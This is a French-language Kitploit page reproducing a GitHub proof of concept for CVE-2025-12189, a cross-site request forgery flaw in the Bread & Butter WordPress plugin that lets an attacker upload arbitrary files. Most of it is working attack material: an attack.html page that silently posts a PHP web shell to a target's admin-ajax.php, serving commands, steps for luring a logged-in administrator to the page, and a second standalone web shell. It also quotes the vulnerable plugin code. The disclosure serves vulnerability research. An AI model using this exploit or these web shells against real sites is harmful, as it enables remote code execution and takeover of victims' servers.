Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-12189 — Bread & Butter : Contenu verrouillé + Capture de prospects + Collecte de données first-party + Nurture avec agents IA <= 7.10.1321 - Cross-Site Request Forgery vers un téléversement de fichier arbitraire | Kitploit
Outils/GitHubGitHub/d0n601/cve-2025-12189
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubd0n601/cve-2025-12189

CVE-2025-12189

Bread & Butter : Contenu verrouillé + Capture de prospects + Collecte de données first-party + Nurture avec agents IA <= 7.10.1321 - Cross-Site Request Forgery vers un téléversement de fichier arbitraire

Voir le dépôt
il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Bread & Butter : Contrôlez l'accès au contenu + Capturez des prospects + Collectez des données first-party + Nurturez avec des agents IA <= 7.10.1321 - Cross-Site Request Forgery menant à un téléversement arbitraire de fichier

Le plugin Bread & Butter IO contient une vulnérabilité dans sa fonctionnalité de téléversement d'images qui permet à n'importe quel attaquant de tromper les administrateurs authentifiés pour les amener à téléverser des fichiers arbitraires sur le serveur, notamment des shells web PHP, conduisant à une exécution de code à distance (RCE). La vulnérabilité provient de la fonction uploadImage() qui ne dispose pas de protection CSRF, permettant aux attaquants de créer des requêtes malveillantes que les navigateurs des administrateurs exécuteront automatiquement.

La vulnérabilité réside dans la fonction uploadImage() dans /bread-butter/src/Base/Ajax.php, qui manque de validation appropriée des fichiers et de protection CSRF, tout en utilisant file_put_contents() pour écrire les fichiers directement dans le répertoire de téléversement de WordPress avant tout contrôle de sécurité.

TL;DR des exploits

  • Un POC attack.html est fourni ci-dessous pour démontrer l'exploitation du téléversement de fichier basé sur CSRF.
  • Un exemple plus réaliste est également fourni à l'adresse email-lure.html.

Voici le attack.html simple :

root@kitploit:~
<!DOCTYPE html>
<html>
<body>
    <button onclick="exploit()">CSRF Attack</button>
    <script>
        function exploit() {
            const form = document.createElement('form');
            form.action = 'http://TARGETSITE.COM/wp-admin/admin-ajax.php';
            form.method = 'POST';
            form.enctype = 'multipart/form-data';
            form.target = '_blank';
            form.style.display = 'none';
            
            // Action field
            const action = document.createElement('input');
            action.name = 'action';
            action.value = 'upload_image';
            form.appendChild(action);
            
            // File field
            const file = document.createElement('input');
            file.type = 'file';
            file.name = 'file';
            const blob = new Blob([`<?php system($_GET['cmd']); ?>`], { type: 'image/jpeg' });
            const phpFile = new File([blob], 'test.php', { type: 'image/jpeg' });
            const dt = new DataTransfer();
            dt.items.add(phpFile);
            file.files = dt.files;
            form.appendChild(file);
            
            document.body.appendChild(form);
            form.submit();
        }
    </script>
</body>
</html>

Pour un POC, vous pouvez l'exécuter localement avec par exemple :

root@kitploit:~
# Serve the CSRF exploit
python3 -m http.server 1337

# Visit: http://localhost:1337/attack.html
# Click "CSRF Attack" button
# Check new tab for WordPress response
# Test uploaded shell: https://TARGETSITE.COM/wp-content/uploads/[year]/[month]/test.php?cmd=whoami

Une fois connecté en tant qu'administrateur dans le navigateur de la victime, cliquer sur le lien mène à une RCE.

Détails de la vulnérabilité

Analyse de la cause racine

La vulnérabilité se situe dans la fonction uploadImage() à la ligne 411 de /bread-butter/src/Base/Ajax.php :

root@kitploit:~
public function uploadImage() {
    $this->checkAdmin();                   
    $file = $_FILES['file'];               

    $type = $file['type'];                 
    $name = $file['name'];                
    $image_url = $file['tmp_name'];        

    $upload_dir = wp_upload_dir();         
    $image_data = file_get_contents($image_url);
    $filename = basename($name); 

    
    if (wp_mkdir_p($upload_dir['path'])) {
        $file = $upload_dir['path'] . '/' . $filename;    
    } else {
        $file = $upload_dir['basedir'] . '/' . $filename;
    }

    file_put_contents($file, $image_data);  // Attacker get's file moved to acessable storage!

    // Post-upload processing (after vulnerability is exploited)
    $wp_filetype = wp_check_filetype($filename, null); 
    // ... rest of function
}

Enregistrement du gestionnaire AJAX

La fonction vulnérable est enregistrée comme gestionnaire AJAX WordPress à la ligne 95 :

root@kitploit:~
add_action('wp_ajax_' . self::$uploadImage, array($this, 'uploadImage'));

Où self::$uploadImage est défini comme upload_image à la ligne 37.

Contrôle d'autorisation

Le seul contrôle de sécurité est la méthode checkAdmin() aux lignes 166-171 :

root@kitploit:~
public function checkAdmin() {
    if (!current_user_can('manage_options')) {
        echo 0;
        wp_die();
    }
}

Exploitation CSRF

L'absence de protection CSRF rend cette vulnérabilité exploitable via des attaques de type Cross-Site Request Forgery. Le POC attack.html le démontre en :

  1. Créant un formulaire malveillant qui cible le point de terminaison AJAX de WordPress
  2. Utilisant target="_blank" pour contourner les restrictions CORS
  3. Intégrant un shell web PHP directement dans le HTML/JavaScript
  4. Soumettant automatiquement le formulaire lorsque la victime clique sur le bouton

Reproduction manuelle

Exploitation CSRF vers RCE

  1. Créez une page HTML avec la charge utile CSRF (voir attack.html)
  2. Servez la page sur n'importe quel serveur web (contrôlé par l'attaquant)
  3. Trompez un administrateur pour qu'il visite la page malveillante
  4. Le navigateur de l'administrateur soumettra automatiquement le formulaire
  5. Le fichier malveillant sera téléversé sur son site WordPress
  6. Accédez au shell téléversé à l'adresse /wp-content/uploads/[year]/[month]/test.php?cmd=whoami

Exploitation directe (administrateur requis)

  1. Connectez-vous au panneau d'administration WordPress avec des privilèges d'administrateur
  2. Naviguez vers les paramètres du plugin Bread & Butter
  3. Utilisez la fonctionnalité de téléversement d'images ou envoyez une requête AJAX directe vers /wp-admin/admin-ajax.php
  4. Téléversez un fichier PHP avec un contenu malveillant :
root@kitploit:~
<?php
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
} else {
    echo "Shell ready. Use ?cmd=command";
}
?>
  1. Accédez au fichier téléversé à l'adresse /wp-content/uploads/[year]/[month]/[filename].php
Télécharger l’outil